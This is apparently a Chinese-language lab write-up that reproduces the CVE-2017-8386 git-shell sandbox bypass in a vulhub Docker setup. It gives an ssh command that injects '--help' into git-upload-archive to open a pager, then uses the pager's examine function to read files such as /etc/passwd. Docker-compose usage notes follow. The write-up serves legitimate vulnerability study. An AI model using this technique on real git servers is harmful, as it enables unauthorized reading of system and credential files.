GIT-SHELL 沙盒绕过（CVE-2017-8386）

声明

好好学习，天天向上

漏洞描述

GIT-SHELL 沙盒绕过（CVE-2017-8386）导致任意文件读取、可能的任意命令执行漏洞。

影响范围

复现过程

使用vulhub

/app/vulhub-master/git/CVE-2017-8386

使用docker启动

docker-compose build
docker-compose up -d

先准备好id_rsa，这是ssh的私钥，作者已经帮我们准备好了，就在docker-compose文件一起的文件夹内，拷贝到kali中，执行下述命令

chmod 0600 id_rsa

使用–help技巧，连接目标并进入帮助页面：

ssh -p 3322 -i id_rsa -t git@192.168.239.129 "git-upload-archive '--help'"

执行后

此时按shift+e，会出现下面的，在Examine中输入你想要的读取的文件，例如/etc/passwd

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down